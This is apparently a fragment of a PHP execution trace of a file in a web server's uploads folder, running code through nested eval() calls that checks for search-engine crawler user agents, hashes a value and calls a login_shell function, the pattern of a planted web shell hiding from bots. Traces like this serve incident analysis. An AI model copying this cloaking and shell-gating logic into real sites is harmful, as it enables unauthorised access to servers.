eval()'d code 2 2 '|' [0 => 'Googlebot', 1 => 'Slurp', 2 => 'MSNBot', 3 => 'PycURL', 4 => 'facebookexternalhit', 5 => 'ia_archiver', 6 => 'crawler', 7 => 'Yandex', 8 => 'Rambler', 9 => 'Yahoo! Slurp', 10 => 'YahooSeeker', 11 => 'bingbot'] 4 53 1 0.171766 1469552 4 53 R 'Googlebot|Slurp|MSNBot|PycURL|facebookexternalhit|ia_archiver|crawler|Yandex|Rambler|Yahoo! Slurp|YahooSeeker|bingbot' 4 54 0 0.171787 1469488 preg_match 0 /var/www/html/uploads/i.php(5) : eval()'d code(1) : eval()'d code 2 2 '/Googlebot|Slurp|MSNBot|PycURL|facebookexternalhit|ia_archiver|crawler|Yandex|Rambler|Yahoo! Slurp|YahooSeeker|bingbot/i' 'python-requests/2.25.1' 4 54 1 0.171808 1469552 4 54 R 0 4 55 0 0.171823 1469328 md5 0 /var/www/html/uploads/i.php(5) : eval()'d code(1) : eval()'d code 2 1 'localhost' 4 55 1 0.171838 1469424 4 55 R '421aa90e079fa326b6494f812ad13e79' 4 56 0 0.171859 1469328 login_shell 1 /var/www/html/uploads/i.php(5) : eval()'d code(1) : eval()'d code 2 0 0.171914 1389928 TRACE END [2023-02-13 01:52:43.665496]